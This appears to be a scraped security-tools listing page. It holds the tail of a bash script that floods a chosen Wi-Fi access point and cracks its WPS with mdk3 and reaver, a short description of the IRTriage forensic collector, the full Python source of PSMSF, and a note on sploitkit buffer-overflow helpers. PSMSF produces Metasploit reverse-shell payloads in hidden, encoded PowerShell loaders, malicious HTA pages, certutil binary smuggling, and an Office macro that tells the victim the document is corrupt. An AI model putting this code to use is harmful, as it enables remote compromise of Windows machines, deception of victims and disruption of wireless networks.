sudo ifconfig $ADAPTER2 down
sleep 3
sudo iwconfig $ADAPTER2 mode monitor
sleep 3
sudo ifconfig $ADAPTER2 up
sudo ifconfig $ADAPTER3 down
sleep 3
sudo iwconfig $ADAPTER3 mode monitor
sleep 3
sudo ifconfig $ADAPTER3 up
sudo ifconfig $ADAPTER4 down
sleep 3
sudo iwconfig $ADAPTER4 mode monitor
sleep 3
sudo ifconfig $ADAPTER4 up
echo "Monitor Mode Enabled"
echo "------------------------------"

echo "************** - Would you like to set ALL Wlan Adapters to the same MAC Address? - ************** 
1)Yes
2)No"

read l
case $l in
	1)
echo "------------------------------"
echo "Setting All Wlan MAC Addresses to Identical MAC"
sudo ifconfig $ADAPTER1 down
sleep 3
macchanger $ADAPTER1 -m 02:22:88:29:EC:6F
sleep 3
sudo ifconfig $ADAPTER1 up
sudo ifconfig $ADAPTER2 down
sleep 3
macchanger $ADAPTER2 -m 02:22:88:29:EC:6F
sleep 3
sudo ifconfig $ADAPTER2 up
sudo ifconfig $ADAPTER3 down
sleep 3
macchanger $ADAPTER3 -m 02:22:88:29:EC:6F
sleep 3
sudo ifconfig $ADAPTER3 up
sudo ifconfig $ADAPTER4 down
sleep 3
macchanger $ADAPTER4 -m 02:22:88:29:EC:6F
sleep 3
sudo ifconfig $ADAPTER4 up
echo "MACs Changed"
echo "------------------------------"
;;
	2)
;;
	*)Invalid Option
;;
esac


gnome-terminal  --geometry=111x20 --title='Scanning for targets' -e "wash -i $ADAPTER1"

echo 
read -p " - What is the BSSID(MAC) of the Target - ": BSSID;

echo 
read -p " - What is the ESSID(Ap Name) of the Target - ": ESSID;

echo 
read -p " - What is the CHANNEL # of the Target - ": CHANNEL;
echo "-------------------------------------"

menu () {
echo "************** - Which Attack Would You Like To Use? - ************** 
1)EAPOL Start Flood 
2)Authentication Flood
3)Reaver
4)Check if Access Point WPS is UNLOCKED"

read m
case $m in
	1)
timeout 20s mdk3 $ADAPTER1 x 0 -t $BSSID -n $ESSID -s 250 & timeout 20s mdk3 $ADAPTER2 x 0 -t $BSSID -n $ESSID -s 250 & timeout 20s mdk3 $ADAPTER3 x 0 -t $BSSID -n $ESSID -s 250 & timeout 20s mdk3 $ADAPTER4 x 0 -t $BSSID -n $ESSID -s 250
menu
;;
	2)
timeout 60 mdk3 $ADAPTER1 a -a $BSSID -m & timeout 60 mdk3 $ADAPTER2 a -a $BSSID -m & timeout 60 mdk3 $ADAPTER3 a -a $BSSID -m & timeout 60 mdk3 $ADAPTER4 a -a $BSSID -m
menu
;;
	3)
reaver -i $ADAPTER1 -b $BSSID -c $CHANNEL -vv
menu
;;
	4)
gnome-terminal  --geometry=111x20 --title='Scanning for targets' -e "wash -i $ADAPTER1"
menu
;;
	*)Invalid Option
menu
;;
esac
}

menu

;;
	5)

echo 
read -p " - What is the name of your 1st Wlan Adapter (Ex:Wlan0) - ": ADAPTER1;

echo 
read -p " - What is the name of your 2nd Wlan Adapter (Ex:Wlan1) - ": ADAPTER2;

echo 
read -p " - What is the name of your 3rd Wlan Adapter (Ex:Wlan2) - ": ADAPTER3;

echo 
read -p " - What is the name of your 4th Wlan Adapter (Ex:Wlan3) - ": ADAPTER4;

echo 
read -p " - What is the name of your 5th Wlan Adapter (Ex:Wlan4) - ": ADAPTER5;

echo "------------------------------"
echo "Enabling Monitor Mode"
sudo ifconfig $ADAPTER1 down
sleep 3
sudo iwconfig $ADAPTER1 mode monitor
sleep 3
sudo ifconfig $ADAPTER1 up
sudo ifconfig $ADAPTER2 down
sleep 3
sudo iwconfig $ADAPTER2 mode monitor
sleep 3
sudo ifconfig $ADAPTER2 up
sudo ifconfig $ADAPTER3 down
sleep 3
sudo iwconfig $ADAPTER3 mode monitor
sleep 3
sudo ifconfig $ADAPTER3 up
sudo ifconfig $ADAPTER4 down
sleep 3
sudo iwconfig $ADAPTER4 mode monitor
sleep 3
sudo ifconfig $ADAPTER4 up
sudo ifconfig $ADAPTER5 down
sleep 3
sudo iwconfig $ADAPTER5 mode monitor
sleep 3
sudo ifconfig $ADAPTER5 up
echo "Monitor Mode Enabled"
echo "------------------------------"

echo "************** - Would you like to set ALL Wlan Adapters to the same MAC Address? - ************** 
1)Yes
2)No"

read o
case $o in
	1)
echo "------------------------------"
echo "Setting All Wlan MAC Addresses to Identical MAC"
sudo ifconfig $ADAPTER1 down
sleep 3
macchanger $ADAPTER1 -m 02:22:88:29:EC:6F
sleep 3
sudo ifconfig $ADAPTER1 up
sudo ifconfig $ADAPTER2 down
sleep 3
macchanger $ADAPTER2 -m 02:22:88:29:EC:6F
sleep 3
sudo ifconfig $ADAPTER2 up
sudo ifconfig $ADAPTER3 down
sleep 3
macchanger $ADAPTER3 -m 02:22:88:29:EC:6F
sleep 3
sudo ifconfig $ADAPTER3 up
sudo ifconfig $ADAPTER4 down
sleep 3
macchanger $ADAPTER4 -m 02:22:88:29:EC:6F
sleep 3
sudo ifconfig $ADAPTER4 up
sudo ifconfig $ADAPTER5 down
sleep 3
macchanger $ADAPTER5 -m 02:22:88:29:EC:6F
sleep 3
sudo ifconfig $ADAPTER5 up
echo "MACs Changed"
echo "------------------------------"
;;
	2)
;;
	*)Invalid Option
;;
esac


gnome-terminal  --geometry=111x20 --title='Scanning for targets' -e "wash -i $ADAPTER1"

echo 
read -p " - What is the BSSID(MAC) of the Target - ": BSSID;

echo 
read -p " - What is the ESSID(Ap Name) of the Target - ": ESSID;

echo 
read -p " - What is the CHANNEL # of the Target - ": CHANNEL;
echo "-------------------------------------"

menu () {
echo "************** - Which Attack Would You Like To Use? - ************** 
1)EAPOL Start Flood 
2)Authentication Flood
3)Reaver
4)Check if Access Point WPS is UNLOCKED"

read p
case $p in
	1)
timeout 20s mdk3 $ADAPTER1 x 0 -t $BSSID -n $ESSID -s 250 & timeout 20s mdk3 $ADAPTER2 x 0 -t $BSSID -n $ESSID -s 250 & timeout 20s mdk3 $ADAPTER3 x 0 -t $BSSID -n $ESSID -s 250 & timeout 20s mdk3 $ADAPTER4 x 0 -t $BSSID -n $ESSID -s 250 & timeout 20s mdk3 $ADAPTER5 x 0 -t $BSSID -n $ESSID -s 250
menu
;;
	2)
timeout 60 mdk3 $ADAPTER1 a -a $BSSID -m & timeout 60 mdk3 $ADAPTER2 a -a $BSSID -m & timeout 60 mdk3 $ADAPTER3 a -a $BSSID -m & timeout 60 mdk3 $ADAPTER4 a -a $BSSID -m & timeout 60 mdk3 $ADAPTER5 a -a $BSSID -m
menu
;;
	3)
reaver -i $ADAPTER1 -b $BSSID -c $CHANNEL -vv
menu
;;
	4)
gnome-terminal  --geometry=111x20 --title='Scanning for targets' -e "wash -i $ADAPTER1"
menu
;;
	*)Invalid Option
menu
;;
esac
}

menu

;;

esac

Source: https://github.com/ApatheticEuphoria

IRTriage – Windows Evidence Collection for Forensic Analysis can defeat many anti-forensics techniques.

$
0
0

Incident Response Triage – Windows Evidence Collection for Forensic Analysis can defeat many anti-forensics techniques.
IRTriage will collect:
– system information
– network information
– registry hives
– disk information
– dump memory.
One of the powerful capabilities of IRTriage is collecting information from Volume Shadow Copy which can defeat many anti-forensics techniques.

IRTriage

IRTriage

The IRTriage is itself just an autoit script that depend on other tools such as:
– FDpro
– Sysinternals Suite
– Regripper
– md5deep
– 7zip and some windows built-in commands.
In case of an incident, you want to make minimal changes to the “evidence machine”, therefore I would suggest to copy it to USB drive, only issue here is if you are planning to dump the memory, the USB drive must be larger than the physical ram.
Once you launch the application you can select which information you would like to collect. Each category is in a separate tab. All the collected information will be dumped into a new folder labled with date-time and the hostname.

Version:2.16.02.17 (Version 2, Last updated: 2016 Feb 17):
Fixes/Changes:
– Changed name of project from Triage-IR to IRTriage (Triage-IR is no longer under development)
– Fixed broken command logging = Now logs all commands that were executed to TAB delimited csv file
– Updated software = all software packages are updated 10 Feb 2016 (no longer using software from Nov 2012)
– Using FDpro vs windd (windd is limited to 4GB crash dump, FDpro is a full memory image)
– Fixed issues with software not running
*Sleuthkit (icat, ifind) not functioning due to miss-matched dlls (64 vs 32bit) and known dlls (local files no first)
**Using custom compiled executables compiled with static libraries
*RegRipper not able to find plugins due to working directory issue
**RegRipper’s working directory is now set to .\Tools\RegRipper\
– Separation of output from commands (no longer appending to same file from multiple commands, easier to automate parsing)
– Using csv as output whenever possible (**Future import into database will be easier)
– Fixed compatability now works with WinXP through to Win10

requirements:
+ Autolt https://www.autoitscript.com/site/autoit/downloads/

Download: IRTRiage.zip
Source: https://github.com/AJMartel

PSMSF – create powershell shell code used in cmd console with Metasploit Framework.

$
0
0

Notice: Just For educational purpose only!
PSMSF can help us generate payload or files used in cmd console/browser/.. with Metasploit-Framework. If you are similar to windows cmd console, you can use the results in different areas.

powershell attack

powershell attack

psmsf has three attack types:
+

:  Translate a binary file into a text certification file, and restore the cert file to a binary file on target machines.
+ cert attack:  Generate metasploit console script / macro.
+ hta attack: Generate HTA html page. When victims access HTA page, os will be attacked from Internet Explorer.

helper command

helper command

Usage:

makesure metasploit framework has been install on your Unix/Linux Platform system.
git clone https://github.com/all3g/psmsf && cd psmsf
pyton psmsf.py

Script:

#!/usr/bin/python
# -*- coding: utf-8 -*-

# Please Install Metasploit-Framework first,
# Kali Linux:       apt-get install metasploit-framework
# Notice:           Just For edutional purpose
# License:          BSD License

import logging
import subprocess
import base64
import re
import os
import sys
from optparse import OptionParser
from optparse import OptionGroup
from optparse import OptionError


logging.basicConfig(level=logging.INFO, format="[+] %(message)16s")


def write_file(filename, data):
    """Write data into file"""
    with open(filename, 'w') as f:
        f.write(data)


def read_file(filename):
    """Read data from file"""
    with open(filename, "rb") as f:
        data = f.read()
    return data


def execute_command(command):
    """Execute OS Command"""
    logging.debug("Executes command: %s" % command)
    proc = subprocess.Popen(command,
                            stdout=subprocess.PIPE,
                            stderr=subprocess.PIPE,
                            shell=True)
    data = proc.communicate()[0]
    return data


def extract_msf_shellcode(shellcode):
    """Filter some bad chars in shellcode"""
    replaces = {';': '',
                ' ': '',
                '+': '',
                '"': '',
                '\n': '',
                'buf=': '',
                'Found 0 compatible encoders': '',
                'unsignedcharbuf[]=': ''}
    for key, value in replaces.iteritems():
        shellcode = shellcode.replace(key, value)

    shellcode = shellcode.rstrip()
    return shellcode


def generate_msf_shellcode(payload, host, port):
    """generate shellcode: \x00\x00\x00...."""
    logging.debug("Metasploit Framework generates shellcode")
    command = ("msfvenom "
               "-p %s "
               "LHOST=%s "
               "LPORT=%s "
               "StagerURILength=5 "
               "StagerVerifySSLCert=false "
               "-e x86/shikata_ga_nai "
               "-a x86 "
               "--platform windows "
               "--smallest "
               "-f c") % (payload, host, port)
    shellcode = execute_command(command)

    return extract_msf_shellcode(shellcode)


def generate_powershell_script(shellcode):
    shellcode = ("$1 = '$c = ''"
                 "[DllImport(\"kernel32.dll\")]"
                 "public static extern IntPtr VirtualAlloc(IntPtr lpAddress, uint dwSize, uint flAllocationType, uint flProtect);"
                 "[DllImport(\"kernel32.dll\")]"
                 "public static extern IntPtr CreateThread(IntPtr lpThreadAttributes, uint dwStackSize, IntPtr lpStartAddress, IntPtr lpParameter, uint dwCreationFlags, IntPtr lpThreadId);"
                 "[DllImport(\"msvcrt.dll\")]"
                 "public static extern IntPtr memset(IntPtr dest, uint src, uint count);"
                 "'';"
                 "$w = Add-Type -memberDefinition $c -Name \"Win32\" -namespace Win32Functions -passthru;"
                 "[Byte[]];[Byte[]]"
                 "$z = %s;"
                 "$g = 0x1000;"
                 "if ($z.Length -gt 0x1000){$g = $z.Length};"
                 "$x=$w::VirtualAlloc(0,0x1000,$g,0x40);"
                 "for ($i=0;$i -le ($z.Length-1);$i++) {$w::memset([IntPtr]($x.ToInt32()+$i), $z[$i], 1)};"
                 "$w::CreateThread(0,0,$x,0,0,0);"
                 "for (;;){Start-sleep 60};';"
                 "$e = [System.Convert]::ToBase64String([System.Text.Encoding]::Unicode.GetBytes($1));"
                 "$2 = \"-enc \";"
                 "if([IntPtr]::Size -eq 8){$3 = $env:SystemRoot + \"\syswow64\WindowsPowerShell\\v1.0\powershell\";iex \"& $3 $2 $e\"}else{;iex \"& powershell $2 $e\";}" % shellcode)

    return shellcode


def generate_powershell_command(shellcode):
    shellcode = base64.b64encode(shellcode.encode('utf_16_le'))
    return "powershell -window hidden -enc %s" % shellcode


def generate_powershell_attack(payload, host, port):
    """generate shellcode: 0x00,0x00,0x00,..."""
    shellcode = generate_msf_shellcode(payload, host, port)
    shellcode = re.sub("\\\\x", "0x", shellcode)

    counter = 0
    floater = ""
    newdata = ""

    for line in shellcode:
        floater += line
        counter += 1
        if counter == 4:
            newdata = newdata + floater + ","
            floater = ""
            counter = 0

    shellcode = newdata[:-1]
    shellcode = generate_powershell_script(shellcode)
    powershell_cmd = generate_powershell_command(shellcode)

    msfcommand = ("use exploit/multi/handler\n"
                  "set payload %s\n"
                  "set LHOST %s\n"
                  "set LPORT %s\n"
                  "set ExitOnSession false\n"
                  "set EnableStageEncoding true\n"
                  "exploit -j\n") % (payload, host, port)

    ps_dirname = "powershell_attack"
    ps_msf_filename = "powershell_msf.rc"
    ps_script_filename = "powershell_hacking.bat"

    if not os.path.isdir(ps_dirname): os.makedirs(ps_dirname)
    logging.info('create msfconsole resource script')
    write_file("%s/%s" % (ps_dirname, ps_msf_filename), msfcommand)

    logging.info('create powershell shellcode command')
    write_file("%s/%s" % (ps_dirname, ps_script_filename), powershell_cmd)

    return powershell_cmd, msfcommand


def generate_cert_attack(filename):
    if not os.path.isfile(filename):
        logging.info("Please set a file for cert attack")
        sys.exit()

    crt_dirname = "cert_attack"
    crt_encode_filename = "cert_encode.crt"
    crt_decode_filename = "cert_decode.bat"

    crt_encode_filepath = "%s/%s" % (crt_dirname, crt_encode_filename)
    if not os.path.isdir(crt_dirname): os.makedirs(crt_dirname)
    if os.path.isfile(crt_encode_filepath): os.remove(crt_encode_filepath)

    # Translate a binary file to coreutil prep format.
    data = read_file(filename)
    data = base64.b64encode(data)
    data = ("-----BEGIN CERTIFICATE-----\n"
            "%s\n"
            "-----END CERTIFICATE-----" % data)
    logging.info('encode a binary file to a cert file')
    write_file(crt_encode_filepath, data)

    # Create a windows batch decode script (.bat)
    crt_decode_script_filepath = "%s/%s" % (crt_dirname, crt_decode_filename)
    data = "certutil -decode %s encoded.exe" % crt_encode_filename
    logging.info('create a windows batch script for decode')
    write_file(crt_decode_script_filepath, data)



def generate_hta_attack(command):
    hta_module = "module.hta"
    hta_index = "index.html"
    hta_dirname = "windows_hta_attack"

    hta_module_code = ("<script>\n"
            "a=new ActiveXObject(\"WScript.Shell\");\n"
            "a.run('%%windir%%\\\\System32\\\\cmd.exe /c %s', 0);"
            "window.close();\n</script>" % command)

    hta_index_code = ("<iframe "
            "id=\"frame\" "
            "src=\"%s\" "
            "application=\"yes\" "
            "width=0 height=0 style=\"hidden\" "
            "frameborder=0 marginheight=0 "
            "marginwidth=0 scrolling=no></iframe>" % hta_module)

    if not os.path.isdir(hta_dirname): os.makedirs(hta_dirname)

    logging.info('create hta index file')
    write_file("%s/%s" % (hta_dirname, hta_index), hta_index_code)

    logging.info('create hta module file')
    write_file("%s/%s" % (hta_dirname, hta_module), hta_module_code)

    return hta_index_code, hta_module_code


def generate_macro_attack(shellcode, line_length=300):
    data = ""
    cmd_list = [shellcode[i: i+line_length] for i in range(0, len(shellcode), line_length)]
    for line in cmd_list:
        data += "& \"" + line + "\" _\n"

    data = data[:4]
    data = data.replace("&", "", 1)

    macro = ("Sub Auto_Open()\n"
             "Dim x\n"
             "x = \"%s\"\n"
             "Shell (\"POWERSHELL.EXE \" & x)\n"
             "Dim title As String\n"
             "title = \"Critical Microsoft Office Error\"\n"
             "Dim msg As String\n"
             "Dim intResponse As Integer\n"
             "msg = \"This document appears to be corrupt or missing critical "
             "rows in order to restore. Please restore this file from a backup.\"\n"
             "intResponse = MsgBox(msg, 16, title)\n"
             "Application.Quit\n"
             "End Sub" % shellcode)

    logging.info("\n%s" % macro)
    return macro


def powershell_attack_help():
    doc = ("Everything is now generated in two files, ex:\n"
           "    powershell_hacking.bat - shellcode can be executed in cmd console.\n"
           "                           - Usage: cmd.exe /c powershell_hacking.bat\n"
           "    powershell_msf.rc      - msfconsole resource script.\n"
           "                           - Usage: msfconsole -r powershell_msf.rc\n")
    logging.info(doc)
    logging.info("python psmsf.py --attacktype ps --payload windows/shell/reverse_tcp --lhost 192.168.1.100 --lport 8443")
    logging.info("python psmsf.py --attacktype ps --payload windows/meterpreter/reverse_tcp --lhost 192.168.1.100 --lport 8443")
    logging.info("python psmsf.py --attacktype ps --payload windows/meterpreter/reverse_http --lhost 192.168.1.100 --lport 8443")


def cert_attack_help():
    doc = ("The certutil attack vector was identified by Matthew Graeber (@mattifestation) "
           "which allows you to take a binary file, move it into a base64 format and "
           "use certutil on the victim machine to convert it back to a binary for you. "
           "This should work on virtually any system and allow you to transfer a binary "
           "to the victim machine through a fake certificate file. To use this attack, ")
    logging.info(doc)
    logging.info("python psmsf.py --attacktype crt --filename demo.exe")


def hta_attack_help():
    doc = ("The HTA attack will automatically generate two files, ex:\n"
           "    index.html             - redirects browsers to use module.hta\n"
           "    module.hta             - contains the malicious code\n"
           "                           - Usage: http://x.x.x.x/winodows_hta/index.html"
    )
    logging.info(doc)
    logging.info("python psmsf.py --attacktype hta whoami")


def macro_attack_help():
    doc = ("The Macro attack will automatically generate a new macro, and call it. "
           "Auto_Open and paste the generated code into that. This will automatically"
           "run. Note that a message will prompt to the user saying that the file is "
           "corrupt and automatically close the excel document. THIS IS NORMAL BEHAVIOR!"
           "This is tricking the victim to thinking the excel document is corrupted."
           "You should get a shell through powershell injection after that."
    )
    logging.info(doc)
    logging.info("python psmsf.py --attacktype mac --payload windows/shell/reverse_tcp --lhost 192.168.1.100 --lport 8443")
    logging.info("python psmsf.py --attacktype mac --payload windows/meterpreter/reverse_tcp --lhost 192.168.1.100 --lport 8443")
    logging.info("python psmsf.py --attacktype mac --payload windows/meterpreter/reverse_http --lhost 192.168.1.100 --lport 8443")


def banner():
    banner = """
     ######
      #     #  ####  #    #  ####  ######
       #     # #      ##  ## #      #
        ######   ####  # ## #  ####  #####
         #            # #    #      # #
          #       #    # #    # #    # #
           #        ####  #    #  ####  #
    """

    logging.info(banner)
    return banner


def help():
    usage = "python %prog [options]"
    parser = OptionParser(usage=usage)

    try:
        parser.add_option('--attacktype', dest='attacktype', help='Attack Types are supported. (ps, crt, hta, mac)')

        powershell_opts = OptionGroup(parser, "Powershell/Macro Attack", "Generate metasploit console script / macro")
        powershell_opts.add_option('--payload', dest='payload', type='str', help='payload of metasploit framework')
        powershell_opts.add_option('--lhost', dest='lhost', type='str', help='lhost for payload of metasploit framework')
        powershell_opts.add_option('--lport', dest='lport', type='int', help='lport for payload of metasploit framework')
        parser.add_option_group(powershell_opts)

        crt_opts = OptionGroup(parser, "CERT Attack", "Translate a binary file into a text certification file, and restore the cert file to a binary file on target machines")
        crt_opts.add_option('--filename', dest='filename', type='str', help='file to be encoded to a certification')
        parser.add_option_group(crt_opts)

        hta_opts = OptionGroup(parser, "HTA Attack", "Generate HTA html page. When victims access HTA page, os will be attacked from Internet Explorer")
        hta_opts.add_option('--command', dest='command', type='str', help='command of attack mode')
        parser.add_option_group(hta_opts)

        (args, _) = parser.parse_args()
    except (OptionError, TypeError) as e:
        parser.error(e)
    else:
        return args


if __name__ == "__main__":
    args = help()
    if not args.attacktype:
        banner()
        logging.info('Please -h or --help for more details')
        sys.exit()

    attacktype = args.attacktype.lower()

    if attacktype == 'ps':
        if args.payload and args.lhost and args.lport:
            generate_powershell_attack(args.payload, args.lhost, args.lport)
        else:
            banner()
            powershell_attack_help()

    elif attacktype == 'mac':
        if args.payload and args.lhost and args.lport:
            powershell_cmd, msfcommand = generate_powershell_attack(args.payload, args.lhost, args.lport)
            generate_macro_attack(powershell_cmd)
        else:
            banner()
            macro_attack_help()

    elif attacktype == 'crt':
        if args.filename:
            generate_cert_attack(args.filename)
        else:
            banner()
            cert_attack_help()

    elif attacktype == 'hta':
        if args.command:
            generate_hta_attack(args.command)
        else:
            banner()
            hta_attack_help()
    else:
        banner()
        logging.info('Please -h or --help for more details')

Source: https://github.com/all3g

sploitkit – A suite of CLI tools I built to automate some of the tedious parts of exploit development.

$
0
0

SploitKit is a series of scripts I wrote to automate some repetitive or tedius tasks I find I commonly need to perform when writing exploits (specifically: Buffer Overflow Exploits).

Example ScreenCapture sploitkit

Example ScreenCapture sploitkit

Script Lists:
+ Ror Spike
This script (./ror_spike.rb) is a wrapper for the SPIKE fuzzer. It creates spike templates for multiple commands (as specified in the script), and launch spike for each created file. It logs the variable that caused the crash, the command it was using, and prompts you to add a custom comment to the log. Later, you can navigate to the log and view a history of the crashes you found.
+ BadChars
This script (./badchars.rb) is designed to help determine which chars are bad. This script assumes you are working with Olly (or at least, something that results in hex printed in the same format as Olly’s binary paste (e.g. 01 0203 04 05 instead of \x01\x02\x03\x04\x05). Remember, I wrote this to suit me. I’m happy to accept pull requests if anybody would like to contribute to making it a little friendlier for use with other debuggers.
+ MagicCalc
This script (./magic_calc.rb) is designed to help with the calculations required to push encoded shellcode to the stack when dealing with an extremely limited allowed character set. It assumes you know that what we’re doing here is using a register (after it’s been XORd to zero) to calculate the difference between the hex representation of zero to our desired hex code, so that it can be pushed to the stack and executed. If I haven’t articulated this well enough, or you haven’t come across this yet, do some googling for “manually encoding shellcode to bypass character filters”.
+ HexSum
This script (./hexsum.rb) is sort of a sanity check for magic_calc.rb. It confirms the calculations are correct, and then provides the hexcodes in little endian format.

Installation:

git clone https://github.com/tresacton/sploitkit && cd sploitkit
chmod +x *.rb
now, youn run step by step what do you need.

Source: https://github.com/tresacton

Viewing all 398 articles
Browse latest View live